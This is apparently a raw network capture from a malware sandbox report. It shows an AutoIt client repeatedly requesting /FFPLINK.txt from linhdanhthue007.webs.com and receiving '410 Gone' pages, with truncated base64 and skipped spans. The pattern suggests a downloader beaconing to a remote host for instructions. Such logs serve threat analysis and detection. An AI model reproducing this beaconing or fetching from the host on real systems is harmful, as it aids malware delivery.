IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:16 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:36 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:03 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:26 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:08 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:48 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:24 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:04 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:44 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:28 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:05 GMT
Connection: close
Server: Webs.com/1.0
